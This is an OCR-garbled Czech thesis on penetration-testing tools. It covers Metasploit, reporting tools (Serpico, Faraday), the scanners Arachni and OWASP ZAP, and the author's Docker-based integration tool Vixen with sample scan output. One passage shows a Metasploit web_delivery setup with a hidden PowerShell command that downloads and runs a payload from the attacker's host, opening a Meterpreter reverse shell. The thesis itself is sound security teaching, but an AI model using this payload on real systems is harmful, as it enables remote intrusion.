B jabranén{ prenosu nové cookie pres nesifrovany kanal

8l mirfiuje riziko pistupu skriptu k chrénénému souboru cookie

Myt tps: //github.com/rapid7/metasploit-framework

B0 ranitelnost privilegovanych eskalaci v jadfe Linuxu

BT /ranitelnost SMB serveru umoziujici vzdalené spusténi kédu

B2 /aznamendva stisknuté kldvesy

B3l obrazi ARP tabulku
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> show (show options) — zobrazi informace a moZnosti
> use (use exploit/...) — vybird pouziti specifického modulu
> set (set payload, set RHOST) — nastaveni hodnot pro dany modul

> sessions — ukaze vSechny aktivni relace

Zadni vratka pomoci Web Delivery

Web Delivery[s_zf] je mocné technika a zptusob, jak po sobé zanechat minimum stop. V
ramci Metasploitu se ndm nabizi exploit pro Web Delivery payload v PHP, jazyce
Python nebo PowerShel]E]. Exploit se stava uzitecnym, pokud jiz mame alespon
Castecnou kontrolu nad cilovym serverem. Utok probihd bez toho, aniz by doslo k

zapisu nékterych souboru na disk.

msfconsole

>use exploit/multi/script/web_delivery

>set LHOST 192.168.200.18 (dtoclnik)

>set LPORT 4444

>set TARGET 2 (PSH)

>set payload windows/meterpreter/reverse_tcp

>exploit
Praveé jsme vygenerovali payload pro PowerShell, ktery vypada nasledovneé:

powershell .exe -nop -w hidden -c $Q=new-object

net.webclient $Q.proxy=[Net.WebRequest]::GetSystemWebProxy ()
$Q.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $Q.downloadstring(’http://192.168.200.18:8080/en0ONXBI ’);

Soucasné se u nas otevrel port 4444 pro prichozi reverse shell. Cilovy server bézi na
Windows a provozuje webovy server Apache. Webova stranka trpi zranitelnosti
Remote File Inclusion (REI), kterda umoziiuje vlozit soubor na stranky a spustit jej.
Z vystupu pro PowerShell vytvorime Batch (BAT]) soubor a spustime jej na serveru.
Skodlivy kéd je stazen z nasi adresy na portu 8080 a spustén. Tim se otevie reverse

shell do napadeného zarizeni.

msf exploit(web_delivery) >

[x] 192.168.200.50 web_delivery - Delivering Payload
[*] Sending stage (40499 bytes) to 192.168.200.50

[*] Meterpreter session 1 opened (192.168.200.18:4444 ->
192.168.200.50:52382) at 2017-12-12 09:18:05 +0100

BI Joruceni payloadu prostiednictvim webového stranky
B3l hrostied{ pro automatizaci a konfiguraci od firmy Microsoft
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4.4 Report

Serpico project

Néstroj Serpicﬂ byl vytvoren pro spolupraci pri psani reporti z penetracniho
testovani. Podstatou je zkratit drahocenny cas straveny nad psanim reportii. Serpico
je stale ve vyvoji a nabizi pohodlné webové rozhrani s podporou Nasazeni
aplikace doporucuji prostrednictvim DockeIEl kontejneru. K dispozici je databéze
Sablon, kterou libovolné upravovat. Sablony jsou postaveny na Microsoft Word Meta-
Language ve formatu Word Document (DOCX]). Dtuvodem byla jednoduchost a mi-
nimalni naro¢nost pro upravy. Pro tvorbu své vlastni je idedlni pouzit jiz existujici
a tu upravit dle svych pozadavku. Aplikace standardné obsahuje seznam zranitel-
nosti, ktery lze upravit nebo doplnit. Nabizi import vysledkii z nastroji Nessus nebo
Burp Suite. V ramci aplikace lze vytvaret nové uzivatele, korigovat jejich opravnéni
nebo je propojit s Active Directory ([AD]) pro autentizaci. Ke kazdému reportu lze
prikladat ptilohy. Vystupem je strukturovany dokument ve formatu [16]

List Reports @ New Report &% Findings Database = Administration == Consultant Information 8 Logout
WARNING: You are
editing the Templates . .
Database Current Findings
FINDINGS MENU
. Finding Name Search
List Current
Findings
Add Finding Web Application i
DATABASE Cross Site Scripting (XSS) Criical [ ﬁ n
FUNCTIONS
Export Current Cross Site Scripting (XSS) Criical [0
Findings
Import Findi ’ : . ——
mport Findings Direct Object References Critical E ﬁ

Direct Object References Critical ﬁ ﬁ
Path Traversal High ﬁ ﬁ

Obr. 5: Ukazka prostredi Serpico project

Domnivam se, ze prostiedi je stabilni a ptrehledné. Za posledni c¢as probéhly
znatelné zmény. Jedinou nevyhodou mize byt format [DOCXI] se kterym aplikace

pracuje jak u sablon, tak na vystupu.

EGhttps://github.com/SerpicoProject/Serpico
EZforma odlehéené virtualizace
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Faraday IPE

Faradaympfedstavuje koncept navrzeny pro distribuci, indexovani a analyzu dat
generovanou béhem bezpecnostnich auditi. Velkou prednosti je jeho jednoduchost
a rozsahla podpora dostupnych nastroji.

V pripadé bezplatné komunitni verze vsak nemtzeme mluvit o nastroji na repor-
tovani, jelikoz vytvoreni reportu umoznuje pouze profesionalni a korporatni verze.

Pro nase tcely je komunitni verze dostacujici, jelikoz ndm jde predevsim o zpracovani

a prezentaci vysledkl z penetrac¢niho testovani v urcité standardizované formé.

Dashboard for target_192_168_120_43_20180512-164825 (all vulns)

Top Hosts @ Vulnerabiliies @ Services report @ Workspace summarized report @

Actiity Feed @

2 Rootimported Z3p

Last Vulnerabilties @ Workspace's worth @

®$5,500.00 total

[ oo Pncosreaso]

Commands History @

x x x x x

100190247442206 import Zap: oo

Py 2 a rootoas02d74c2s06 port rachn

Obr. 6: Ukazka prostredi Faraday IPE

Rozhrani je zalozeno na pracovnich prostorech workspaces, z nichz kazdy z nich
obsahuje objevené informace. S vlozenymi daty lze libovolné manipulovat. Aplikace
se sklada ze dvou casti - Faraday Client a Faraday Server. Oba muzou bézet na
téze hostu, ovSem zavisi na konkrétnich pottebach. Pro ukladani dat se pouziva
databaze CouchDBIﬂ Dostupné jsou ruzné skripty a pluginy pro import reportii z
jinych néstroji.

Podporovany jsou distribuce jako Debian, Ubuntu, ArchLinux. Aplikaci je mozné
nasadit za pouziti nedostatkem komunitni verze je chybéjici moznost

autorizace, ale dany problém muzeme obejit pomoci HT'TP Basic aut}m se souborem

htpasswd®| [17]

B8https://github.com/infobyte/faraday/
B9 Jokumentové orientovany databdzovy systém
jednoduché ovéreni pristupu

Blsoubor k uklddani uzivatelskych jmen a hesel
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5 Nastroje pro komplexni penetracni testovani

Jde o pokrocilé nastroje, které nabizeji Sirsi spektrum testovanych zranitelnosti
predevsim v oblasti webovych aplikaci. Patii do faze Discovery, neboli objevovani z

pohledu utocénika. Pouzivame je k automatizovanému hledani zranitelnosti.

5.1 Arachni

Arachnﬂ je vysoce vykonny a oblibeny software mezi penetra¢nimi testery. Vy-
hodnocuje bezpecnost webovych aplikaci vyuzitim skalovatelnosti a modularity. Na
rozdil od nékterych jinych nastroji je schopen rozpoznat dynamickou povahu webové
aplikace a diky integrovanému prostiedi dokaze kontrolovat kod na strané klienta
i u modernich webovych technologiich jako je JavaScript, HTML@ nebo
Asynchronous JavaScript and XML (AJAX]). Sleduje a uci se na zdkladé chovani
aplikace a analyzou metadat z HT'TP odpovédi redukuje vyskyt false positivelﬂ Na-
psany je v Rubyﬁ a dostupny na platformach Linux, Windows i Mac OS. Testovani

zprijemnuje kvalitné zpracované webové rozhrani.

BILTY OF

o Compents http://192.168.130.2

B Statistics

® Share

.  scannins ] Currently auditing

£ Edit schedule P = | + hitp/1192.166.130 2/awstats/awstats. pi7config=_arachni trainer_cftf12166201c72c7d3997 1101becs9d%00

@ Full edit Ll
Pages discovered 3 Requests performed 2595 Requests per second 1315 Request concurrency B
Running for 00:03:47 Responses recelved 254 Timedoutrequests 340 Response times 14118
Issues (13

Issues may be missing some context while the scan is running.
You better wait until the scan is over to review them as the meta-analysis phase willflag probable faise-posttives and other unirusted issues accordingly.

A3 | Fixe v Verifie o P o x False o o

URL Input Element

Cross-Site Scripting (XSS) 1

Client-side scripts are used extensively by modern web applications. They perform from simple functions (such as the formatting of text) up to full manipulation of client-side
data and Operating System interaction,

Cross Site Scripting (XSS) allows clients to inject scripts into a request and have the server retum the script to the client i the response. This occurs because the application is
taking untrusted data (in this example, from the client) and reusing it without performing any validation or sanitisation.

If the injected script is returmed immediately this is known as reflected XSS. If the injected script s stored by the server and retumed to any dlient visiting the affected page.

then this is known as persistent XSS (also stored XS8).

Cross-Site Scripting (XSS)
Arachni has discovered that it is possible to insert script content directly into HTML element content.

HTTP TRACE

Common directory (owe)

i f
I iei

B rites192.168.130 Zawstatsiawstats.p config Link

HTTP TRACE 1

Obr. 7: Ukazka webového rozhrani nastroje Arachni

Umoznuje komunikaci pres Remote Procedure Call (RPC) a RESTI[API, které
jsou dilezité pri integraci do jinych reseni. Rozsah testovanych oblasti a dalsi nas-

taveni lze specifikovat v konfiguracnim souboru profilu. Export vysledkl je mozny

B2https://github.com/Arachni/arachni

B3 verze znackovaciho jazyka [HTMI

B2 fy]esné pozitivni nalez

B3l interpretovany skriptovaci programovaci jazyk
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ve formatech [HTMLL XML LJSONL Ain’t Markup Language (IYKMIII)EI Komeréni
sluzby pro Arachni zprostfedkovava firma Sarosys LL@. Jde o stabilni a efektivni

néstroj apelujici na jednoduchost. [1§]

5.2 OWASP ZAP

OWASP Zed Attack Proxyﬁ (ZAP) je svétové nejpopularnéjsi nastroj pro testovani
bezpecnosti webovych aplikaci. Kromé schopnosti automaticky hledat potencionédlni
zranitelnosti je soucasné vhodnym spoleénikem pro pokrocilé penetracni testery
pri manudlnim testovani. Aktivnim vyvoje se zabyvaji stovky dobrovolnikti na me-
zinarodni trovni. Podpora je napti¢ vsemi distribucemi pres Windows, Linux i
Mac OS. Néstroj je napsan v jazyku Java®| a pouzivd propracované rozhrani.
[19]

Session - OWASP ZAP 2.7.0

Flle Edit View Analyse Report Tools Oniine Help
StandardMode (W) ] S M 5 & 2 E @8 000 &V P I OXERE 9CG&

@ stes | +  Quick start | = Request | + <~ Response

eQBas Ted v B0 Header: Text |¥) (Body: Text [v) [ (]
¥ 5 http:/192.168.130.2 4] foe 30.2/webgoat .net /DeFaul . aspx HTTP/L.1 HITP/1L.1 200 0K
W GET: location href ‘(name) us 5.0 (X11; Fedora; Linux x36_64; rviS?.0) Gecko/20100101 Firefox/59.0 Date: Sat, 19 May 2618 21:31:25 QU
[P e 0.9,%/%3a:0.5 Serv 114 (Ubuntu) nod_nono/2.4.3 PHP/S. 3. 2-Lubuntus. 30 with Suhos in-Pateh proxy_htel/3.0.1 sod_python/3
1] GETanimatedcolapse.s e Us, en;0-0.5 31 0d_s51/2.2.14 OpenSSL/..8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/us.16.1
» [ @ AppSensorDemo s /192.168.130.2/ 2.0.50727
: 1 eamine
# GET:AppSensorDemo adheantasE e
> W awstats 2 nc3eiaze=; patn-/
» =@ bodget e
[  GETibodgeit Content-Type: text /htal; charsetsutf-3
> [ wbwarp

[ # GETbwAPP
» [ CSRFGuardTestApp
 GET:CSRFGuardTestApp
» [ CSRFGUardTestAppVuinerable
] # GET:CSRFGuardTestappVulnerable
> Cwess
|1 # GET:cyclone
# GET:Default aspx
# GET:domxss-example.html
> Ewdwma

[]# GET:dvwa

istory | O\ search | [® lerts | # Spider # | | Output | # Al Spider | @ Technology | ) Actve Scan

# New Scan] Progress: 0: http: | & Current Scans:1  URL Found: 5579 Nodes Added:1206 ¢ Export )
URLs | Added Nodes | Messages
Processed [ Method URl | Flags E
) GET httpi/192168.1 php
® GET httpi/192.168.130. ohp
e GET httpi192168.1
® GET httpi/192.168.130. php
e GET httpi192168.1 php
® GET http://192.168.130. hy
e GET httpi192168.1 o
® GET http://192.168.130.
e GET httpi192168.1 h
® GET httpi/192.168.130. php
e GET httpi192168.1 php
® GET http://192.168.130.
e GET httpi192168.1 h
® GET httpi/192.168.130. ohp -
a o 11021 801,20 21l s a2 nnt i
Alerts RO P2 04 M4 Current Scans 90 $0 20 Q0 #1 /0 - 0 %o Mol

Obr. 8: Ukazka aplika¢niho rozhrani nastroje OWASP
ZAP

Program zahrnuje fadu bezpec¢nostnich nastroji jako je proxy na zachytavani
provozu, spidedﬂ7 kolekce skenert pro automatizovany/pasivni sken, brute-force,
port sken, Fizeni relaci, komunikace pies web sockets. K dispozici je RESTI[API pro

vlastni integraci s jinym TfeSenim. Standardni verzi lze obohatit o dalsi testovaci

B8 h4stroj pro serializaci strukturovanych dat
B0http://www.sarosys.com/
B8https://github.com/zaproxy/zaproxy
B9 5bjektové orientovany programovaci jazyk
My 4stroj pro prizkum souborovych cest
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moduly a pluginy prostfednictvim ZAP Marketplace, které mohou pomoci pti de-
tekei dalsich zranitelnosti. Umoznuje nastavit autentizaci pres formular nebo skript.
Podporuje report vysledku ve formatu XMI [ISON| [HTMTI Jde o ndstroj s Sirokym
uplatnénim. Srovnani s nastrojem Arachni je komplikovanéjsi, jelikoz jde v obou pii-
padech o velice zdarilé aplikace podobného charakteru. ZAP ma vsak Sirsi vyuziti
a podporu, navic je znam predevsim jako proxy pro zachytavani provozu. DalSim
néstrojem podobnym OWASP ZAP je baliek Burp Suite Scannei™} [20]

[Mhttps://portswigger.net/burp
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6 Integrace nastroju pro skenovani zranitelnosti

V této c¢asti doslo k implementaci vlastniho nastroje Vixen v jazyce Python. Vysled-
kem je TeSeni, které integruje vybrané nastroje pro penetracni testovani a vys-
tupy exportuje pfimo do prostfedi Faraday [PEl Svou povahou lze software zaradit
mezi middleware, jelikoz dochézi ke spojeni nékolika funkénich feseni. Viceucelové
prostiedi Faraday [PE je pouzito pfedevsim pro shromazdovani a analyzu informaci

ziskanych v redlném case prostiednictvim integrovanych nastroju.

6.1 Integrované nastroje

Pro vsechny vybrané néstroje existuje modul na zpracovani vystupi do prostiedi
Faraday. Vybér probéhl i na tikor moznosti exportu do forméatu XMl V piipadé
komplexné&jsich néstroji byla nutnd dostupnost [APIl K integraci jsem vybral ndsle-
dujici.

e Nmap — nastroj pro skenovani a priuzkum siti. Obsahuje az 400 a pod-
poruje export do formatu[XMIl Nepouziva [API], takZe integrace musela probé-
hnout lokalné.

e Nikto — vykonny skener webovych rozhrani. Rychly test potencionalné zra-
nitelnych bodi. Moznost specifikace rozsahu testovani a exportu vysledka do
formatu XMII Integrace na lokalni tirovni, jelikoZ téz nedisponuje [APIL

e SSL check — testuje konfiguraci. Nabizi export vysledki do forméatu
XMII Integrovan formou skriptu.

e Arachni — pokrocily skener webovych zranitelnosti s dostupnosti [API. Pod-
pora modernich webovych technologii a schopnost uceni se analyzou metadat.
Export do formatu XML

e OWASP ZAP - populdrni nistroj pro penetra¢ni nastroj. Dostupné [API a
export do XMI] Moznost zachytavani provozu.

Pro zachovani kompatibility a jednoduchosti mezi vice distribucemi je architek-
tura postavena na Docker kontejnerech, které spojuji odlehcenou virtualizaci s au-
tomatizaci. Nastroje byly vybrany na zakladé povahy testovani, rozsahu funkci, do-

stupnosti [APIl a zranitelnosti, jez pokryvaji.

46



Nmap

- target:String
- nmap_scripts

+ nmap_scan

Nikto
- target:String
- nikto_param
+ nikto_scan |
Vixen —I
FARADAY
- target:String
- inputFile:String SSL check
+ get usage i - workspace_name:String —1>
+ gca?. la?get - report_path:String
in - faraday:Object
+ main
+ scan_target

$ .vixen.py -t https:/fexample.cz Arachni Web Ul
vixen.py -f hosts.bxt Workspace per test
$ Py - workspace_name:String P P

- report_path:String
- faraday:Object

+ scan_target

OWASP ZAP

- workspace_name:String
- report_path:String
- faraday:Object

+ scan_target

Obr. 9: UML diagram nastroje Vixen

Pro nasazeni néstroje Vixen je vyuzit ptivodni Docker imagdﬂ Faraday [PE
(infobyte/faraday), ktery je pomoci souboru Dockerfile-vixen| nélezits upraven a
rozsiten o nastroje Nmap a Nikto. V pripadé aplikaci Arachni a OWASP ZAP jsem
vyuzil jiz existujici image, ktery se jen nakonfiguroval dle potieb. Vsechny kontejnery

jsou postavené na distribuci Ubuntu.

@inertni, nezménitelny soubor, ktery funguje jako snimek kontejneru
B skript slozeny z riznych piikazii a argumenti k automatizaci a vytvoreni nového image
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Obr. 10: Diagram sestaveni kontejnerti

Divodem pro toto rozhodnuti je predevsim tspora casu pri realizaci a udrzbé.
Navrh aplikace se musel podridit skuteénostem, ze nastroje Nmap ani Nikto nemaji
vlastni[API] takze doslo k piidani téchto ndstroji pfimo do kontejneru Vizen & Fara-
day, ¢imz se usnadnila i jejich integrace pro nastroj Vixen. V pripadé aplikace ZAP
a Arachni jsem vyuzil existence funkcénich a otestovanych Docker obrazi, u nichz
jsem si nastavil RESTI[API pro propojeni s mym néstrojem Vixen. Pri rozsifovani
se predpoklada pouziti dalsich kontejneri. Z uvedeného diagramu muizeme vidét,
ze kontejner Arachni komunikuje pres [RESTI[API na portu 7331 a OWASP ZAP
vyuziva port 8090 jednak pro komunikaci s RESTI[API na portu 8090, ale soucasné
umoziiuje zachytéavani provozu formou proxy serveru na téze portu. Faraday [PE m4
oteviené webové rozhrani na portu 5985, na ktery je soucasné presmérovan stejny
port z lokalniho rozhrani. Pristup k nastroji Vixen zastava SSH port 22, jenz je

soucasné presmérovan na port 222 lokalniho rozhrani.

Jadrem je soubor docker-compose.yml, ktery umoznuje automatizované nasazeni
celého Teseni spolu s nastrojem Vixen. Celkova doba realizace se pohybuje v fadech
nékolika minut. Soubor docker-compose.yml soucasné nabizi detailni dpravu konfig-
urace v ramci kontejnerii. Mizeme regulovat jejich chovani, jména, opravnéni, porty,
sitovou konfiguraci, hesla, [APT kli¢e a spoustét i konkrétni piikazy. Rozsah testovani
je mozné upravovat prevazné v souboru vizen.conf, profil skenovani nastroje Arachni

lze ménit v souboru arachni_defaults.json.
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Arachni Vixen & Faraday OWASP ZAP
SSH
REST API HTTP REST API
eth0 eth0 eth0
I I
172.17.0.x/16 172.17.0.z/16
vixenarachni 172.17.0.y/16 vixenzap
vethxxx vethyyy vethzzz
172.17.0.1/16
dockerQ
(virtual Ethernet bridge)
Host l
eth0
T 192.168.1.8/24

( w~ )

Obr. 11: Diagram sitové architektury pro Docker

Na diagramu se nachazi prehled sitové architektury vytvoreného feseni souborem
docker-compose.yml. Jelikoz se adresy pridéluji dynamicky, definoval jsem pro konte-
jnery Arachni a OWASP ZAP permanentni zaznamy, které reflektuji jejich skuteéné
IP adresy a kontejner Vizen € Faraday pak na nich neni zavisly.

Oproti pavodnimu navrhu ze semestralniho projektu byla prace obohacena o dalsi
komplexni nastroj pro skenovani — Arachni. Na misto uvazované kontroly
pres [API Qualys Guard SSI@ byl nélezité upraven skript SSL check aplikace Fara-
day pro lokalni testovani, coz ndm umoznuje testovat i aplikace, které nejsou vys-
taveny do sité Internet.

Vystupem aplikace je inicializace integrovanych nastroji dle specifikované kon-
figurace, ktera po ukonceni skenovani cili provede automaticky export vysledkii
do souboru ve formatu XMI] Na zdkladé cile se v aplikaci Faraday vytvoii pra-
covni prostor pro vSechny reporty z dané instance a ty jsou nasledné importovany
do prostiedi Faraday v ramci vytvoreného pracovniho prostiedi. Dostupné moduly
aplikace Faraday tyto vystupy analyzuji a konvertuji do prehledné a editovatelné

podoby. Proces se zahajuje pres konzoli a priitbéh je znam na zakladé vypisii.

Mhttps://wuw.ssllabs.com/ssltest/index.html
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6.2 Vixen

Instalace

Predpoklada se, ze nastroj Vixen se bude realizovat pres nékterou z distribuci Linux
— Fedora, CentOS nebo RHEL. Instalace je snadné za pouziti prikazové radky.

Instalace a spusténi sluzby Docker:

sudo yum install -y epel-release
sudo yum install -y docker docker-compose

sudo systemctl start docker
Vstoupime do repozitare, sestavime image a spustime.

cd vixen
sudo docker -compose build

sudo docker -compose up -d
Prihlaseni je mozné pomoci protokolu SSH na lokalni port 222:
ssh -p 222 root@localhost

Vyrchozi heslo pro prihlaseni je specifikovano v souboru docker-compose.ymil.

Heslo: "Vixenltime"

Vstoupime do slozky wvizen a spustime soubor vizen.py:

cd vixen

./vixen.py

Zobrazi se banner aplikace. Obdrzime-li chybovou hlasku charakteru, ze jsme ne-
specifikovali cil, je vSe pripraveno. Webové rozhrani aplikace Faraday [PE je dos-

tupné lokalné na portu 5985:
http://localhost :5985/ ui/#

Na vice informaci 1ze narazit napri¢ dokumentaci v souboru README.md. Pro

skenovani stac¢i nasledovat informace umisténé v banneru aplikace.

Skenovani

Skenovani cile s vystupem do pracovniho prostoru:
./vixen.py -t http://example.loc
./vixen.py -t https://192.168.100.20:8443

Parametr -t definuje vstup pro cil (target).
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Skenovani vice cili s vystupem do pracovniho prostoru:
./vixen.py -f firemni_infrastruktura.txt

Parametr -f predstavuje vstup ze souboru (file).

Ocekavany tvar pro vstupni soubor je umisténi kazdého cile na jednotlivy fadek.
V pripadé, ze testujeme interni cil podle doménového jména, které neni dostupné
z verejnych IP adres, je nutno doplnit servery do souboru /etc/resolv.conf
v kontejneru vizen-faraday. Rozsahlejsi ipravy konfigurace je mozné provést uvnitr
stejného kontejneru a souboru /root/vizen /vizen.conf, kde lze specifikovat nastroje k
testovani, parametry, skripty, rozsah, ¢asovani apod. Jestli chceme provadét rozsahlé
upravy v konfiguraci, je vhodné tyto zmény vykonat jesté pred sestavenim Docker
image a spousténim samotnych kontejner.

Jiz podle uvedenych prikladi musi byt zjevné, Ze pouziti nastroje je velmi jednoduché.

Pokud dojde k chybné zadanému vstupu, vyjimky jsou zachyceny a oznameny.

root@930288chb6995:~/vixen# ./vixen.py -t http://192.168.120.5

/] /1
$$ | $$ 188/ __ e
$$ | $$ 1/ 1/ N / 1/ \ / \

$$ \ /887 38 188 \/8$/ /833388 13388888 |

$$ /387 38 | 88 $3< 8% $3 188 | 388 |

$$ $8/ 38 | /388 \ $8s3E88/ 88 | % |

$$8/ $$ 1/88/ 38 |88 1$8 | $$ |

$/ $$/ $3/ 88/ $388888/ 88/ 8%/
BH##HHHHHARRR ARG R AR A AR AR RRRR ARG G R A A A AR AR SRR

HH## Targets for scan HH#

Specified target https://192.168.120.53 is affected by
redirect!

HTTP Error 403: Forbidden

Do you want to proceed?

Press Enter to continue...

Pred spusténim kazdého testovani je ovérena dostupnost a pripadné presmérovani
definovaného cile. Doporucuji uvadét uplné cesty k testovanému prostiedi, jelikoz pti
vice pfesmérovani by se testovani mohlo dostat do nekonecné smycky. Pro pokracovani
k testovani je potieba stisknout klavesu ENTER. Standardné jsou aktivovany vSechny

dostupné néstroje.
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HH## Nmap #H##

Scan running with pid 1567...

SYN Stealth Scan Timing: About 8.19% done
SYN Stealth Scan Timing: About 21.107% done
SYN Stealth Scan Timing: About 60.037% done
SYN Stealth Scan Timing: About 98.66% done
Service scan Timing: About 50.00% done
Service scan Timing: About 87.50% done
Service scan Timing: About 100.00% done
NSE Timing: About 75.00% done

Nmap done: 1 IP address (1 host up) scanned in 2242.22 seconds
Importing report...

Report was successfully imported into Faraday.

Ve vychozim nastaveni Nmap skenuje porty nejzndmdjsich sluzeb, detekuje [0S
Navic jsou pouzity skripty pro detekci a jeho verzi, pritomnost soubori z
repozitare GI a vlastnosti [CORSl Casovani pro zasilani pozadavki je nastaveno
na agresivni méd (4). V prubéhu skenovani je kazdou minutu zobrazena hlaska o
prubéhu.

#H## Nikto #H#

Scan running with pid 579...

+ End Time: 2018-04-25 09:58:18 (GMT2) (181 seconds)
Scan successfully done.

Importing report...

Report was successfully imported into Faraday.

Nikto ve vychozim moédu testuje cil proti kompletnimu rozsahu zranitelnosti,
kterym disponuje jeho databaze. Zredukovat testované oblasti mizeme v konfigu-
racnim souboru /etc/vizen.conf pod parametrem nikto_param na zdkladé doku-
mentace https://cirt.net/nikto2-docs/options.html#1d2791140.

HH# SSL check HH#
SSL check initiated for https://192.168.120.53
[+] Insecure key size, it must be higher than 2048 bits
[+] Secure Renegotiation IS supported
[+] Signature Algorithm: sha256WithRSAEncryption
[+]Protocols supported by the server:
TLSv1.2 || Default cipher: ECDHE-RSA-AES128-GCM-SHA256
TLSv1l.1 || Default cipher: ECDHE-RSA-AES128-SHA

T distribuovany systém spravy verzi
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TLSvl || Default cipher: ECDHE-RSA-AES128-SHA

[+]Ciphers supported by the server (it may takes a minute):
Supported cipher suite: [INSECURE] DES-CBC3-SHA

[+] Forward Secrecy supported: ECDHE-RSA-AES128-GCM-SHA256

(prefered)

[+]Heartbeat extension disabled

[+] Compression disabled, CRIME is prevented

SSL check finished...

Detekce je zavisl4 na piftomnosti v [URT] Jestlize mame
rozdilné naroky na slabé Sifry a protokoly, iprava konfigurace je jiz individudlni.
Pouhé zapnuti sifrovani nemusi zdaleka zabezpecit provoz, nebot existuji i takové
sifry, které ve skutecnosti Sifrovani neprovadi. Nehledé na zranitelné implementace

starsich protokolta. SSL check standardné vypisuje podrobné informace o pribéhu a

vysledcich kontroly [SSL/TLS|

### Arachni ###

Arachni initiated scan for https://192.168.120.53
It will probably take more time...

Status: scanning

Status: scanning

Scan successfully done.

Importing report...

Report was successfully imported into Faraday.

V pripadé Arachni dochéazi k rozsdhlému a sofistikovanému testovani zranitel-
nosti. Proces trva obvykle delsi dobu. Kazdou minutu se zobrazuji informace o stavu
procesu. Kompletni profil pro testovani cile nalezneme v souboru arachni__defaults.json.
Lze nadefinovat jakykoliv detail ohledné rozsahu, chovani, hloubky a casovych li-
miti.

HHH# ZAP HH#H#

ZAP initiated scan for https://192.168.120.53
It will probably take more time...

Spidering target...

Spider completed.

Ajax spidering target...

Ajax Spider completed.

Actively scanning target...

Scan progress %: 6

Scan progress %: 28

Scan progress /%: 42
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Scan progress 7%: 59

Scan progress %: 84

Active scan successfully done.

Importing report...

Report was successfully imported into Faraday.

Vixen successfully finished testing!

OWASP ZAP funguje trochu odlisnéji nez je tomu u Arachni. V prvni fazi
otevirame proxy pro zachytavani provozu, provadime spideringjﬂ, dynamicky spi-
dering a na zavér aktivni skenovani cile. V prvnich dvou fazich se potencionédlni
zranitelnosti zachytavaji pasivni formou a v posledni fazi dochéazi k testovani jiz

konkrétnich vstupti a parametri.

Welcome to Faradayl

DASHBOARD STATUS HOSTS CREDENTIALS
REPORT
EXECUTIVE TASKS CHAT WORKSPACE
REPORT COMPARISON
VULN DATA ANALYSIS
WEE SHELL TEMPLATES

Obr. 12: Dostupné funkce Faraday IPE

Vyse miuzeme vidét tivodni strdnku aplikace Faraday [PEl Komunitni verze nim
umoznuje pristup pouze do sekci dashboard, status report a hosts. Ty jsou pro nase

ucely dostacujici.

@ priizkum soubortt a souborovych cest
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Dashboard for target_192_168_120_1_20180525-173647 (all vulns)
Top Services @

Change workspace ~  View confirmed vulns ¥

Atleast 3 hosts needed to show this

[ ]
||
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2 Rootimported Ar
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Hosts @
j—
21681201 @ 9 A root@be1769cdafel

root@be1769cdatdr

root@be1769cdafar

Obr. 13: Dashboard aplikace Faraday

Na obrézku je vystup nastroje Vixen z testovani cile http://192.168.120.1. Vidét
muzeme prehled interpretujici seznam nalezenych sluzeb a zranitelnosti integrovanymi
nastroji. Prostfedi sumarizuje testované cile, pocet dostupnych sluzeb, objevené
zranitelnosti a jejich skalovani dle stupné zavaznosti. Sekce Last Vulnerabilities zo-
brazuje posledni objevené zranitelnosti v cilovém systému a dle formulare Activity
Feed je ztejmé, ktery nastroj identifikoval jaky pocet zranitelnosti. V. Command

History muzeme najit vSechny probéhlé importy [XMIJ souborti.

Status report for target_192_168_120_1_20180525-173647 (all vulns) (270 vulns)

© T Y Cchangeworkspace - CIPW | Growpsy | +| ed i Delete
a

[ e W e T B B o e I s I s B e v B o e B ol o W i

v DATEX NAVEX SEVERTY X SERACEX. HOSTNAMES % THRGETX. DESCX DA%

REFSX.

oss2018  Backup
R g

o owsaos  secuparecory sa3ncp nps. 1921681201
N
L osasnos  sackup drecory Saa3cpItps... routerasuscom 1521681201 e -
@ s -
- we
. owsaos mscuparecory TPy 1921681201
N !
L osnsaots  Missng SuictTansportsecury he saavtcpINps.. router.asus o 1921681201
v @ 7

(34431t .

i 052572018
& s

L, osasos
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Obr. 14: Status report aplikace Faraday IPE

Sekce Status Report nabizi filtrovani, ipravu a potvrzovani nalezenych zranitelnosti.

Touto cestou redukujeme False Positivem a naopak potvrzujeme prokazané zranitel-
nosti. Dulezitym bodem je moznost editace.

M pegativni vysledky
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vuln edi

Vulnerability template

Severity Ease of Resolution Status Confirmed

- v opened v Confirmed

Private IP address disclosure

Descriptian:

Data

Referenca

http://projects.webappsec.org/w/page/13246936/Information%20Leakage

CWE-200 -]
Resolution

#
Policy Violations [+]
None MNone Params
https://192.168.120.1:8443/Main_Logi Query 192.168.120.1

GET /Main_Login.asp HTTR/1.1
Host: 192.168.120.1:8443

HTTP/1.0 200 Ok
Server: httpd/2.0

Impact

Evidence
Choose Files | No file chosen

Multiple files are allowed.

Obr. 15: Editace zranitelnosti ve Faraday IPE

Aplikace ndm umoznuje dostatecné rozsahlou editaci nalezenych zranitelnosti. Soucasné
tak muzeme pridavat zranitelnosti manualné. Velkou vyhodou je vstupni bod pro
piflohy, kudy lze ke specifickému nélezu nahrat napifklad Proof of Concept (PoC)f™|

ve formé snimku obrazovky.

8 gy&teni konceptu
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Work:
Workspaces a =3 ot

example
target_192_168_120_1_20180525-173647

target_192_168_120_53_20180525-185504

target_192_168_120_5_20180525-185602

workspace

Obr. 16: Prehled pracovnich prostor ve Faraday IPE

S kazdym novym testovanim se vytvari nové pracovni prostiedi. Jejich spravu mizeme
provadét pres nastaveni a kategorie Workspaces. Nazev je automaticky generovan
nastrojem Vixen na zakladné cile.

Po skonceni testovani mtizeme kontejnery pozastavit nebo piimo vymazat po-
moci nasledujicich prikazu:
cd vixen
sudo docker -compose stop

sudo docker-compose rm

Nalezené zranitelnosti

Na ukazku jsem otestoval zranitelny cil s adresou 172.17.0.5. Nastroj Arachni na
strance http://172.17.0.5/index.php ?page=dns-lookup.php Gdajné nalezl kritickou
zranitelnost [XSS kterd spadd do seznamu deseti nejvice kritickych zranitelnosti
OWASP Top 10. utok se muze zpocatku jevit jako zpusob k pobaveni utocnika,
ovsem ve skutecnosti muze dojit k daleko zavaznéjsim nasledkim. K vyuziti této
chyby dochézi zejména prostfednictvim phishingu. Obecné mtze dojit k ziskani
citlivych udaji, deformaci webovych stranek, odcizeni cookies z uzivatelskych relaci

nebo odeslani specifickych dat itoc¢nikovi. Obéf se ani o itoku nemusi dozvédét.
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Severity Ease of Resolution Status Confirmed

hizh - v opened v Confirmed

o
Cross-5ite Scripting (X55)

Description

-
]
